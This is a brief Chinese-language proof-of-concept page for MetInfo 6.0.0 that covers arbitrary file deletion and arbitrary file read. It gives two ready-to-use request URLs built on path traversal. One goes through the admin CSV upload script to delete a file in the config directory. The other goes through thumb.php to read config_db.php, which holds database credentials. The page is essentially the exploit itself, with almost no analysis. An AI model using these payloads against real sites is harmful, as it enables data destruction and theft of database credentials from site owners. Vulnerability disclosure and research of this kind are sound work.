Methifo6.0.0任意文件删除&任意文件读取
Affected Version¶
Metinfo 6.0.0
POC¶
1 CMS安装的时候，比如数据库名字会被直接写进配置文件中。¶
2 任意删除¶
好像需要登陆后，才能执行成功。 admin目录下。
192.168.0.4/metinfo600/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/test.txt
3 任意文件读取¶
metinfo600/include/thumb.php?dir=http\..\..\config\config_db.php